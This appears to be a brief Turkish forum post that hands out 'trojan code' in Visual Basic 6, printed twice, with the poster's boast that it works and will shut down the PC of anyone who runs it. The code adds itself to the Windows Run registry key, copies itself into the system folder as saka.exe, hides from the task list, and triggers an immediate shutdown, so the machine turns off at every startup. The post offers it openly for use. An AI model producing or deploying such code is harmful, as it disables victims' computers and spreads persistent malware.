Anasayfa
arkadaşlar trojanı yaptıktan sonra test amacıyla açmayın pc kapanır %100 çalışıyor bizzat ben denedim test amacıyla açtıgım gibi pc kapandı
ALIN TROJAN KODU:Private Sub Form_Load()
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\Windows\System\saka.exe"
App.TaskVisible = False
Shell ("shutdown -s -t 1")
End Sub
ALIN TROJAN KODU:Private Sub Form_Load()
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\Windows\System\saka.exe"
App.TaskVisible = False
Shell ("shutdown -s -t 1")
End Sub
...
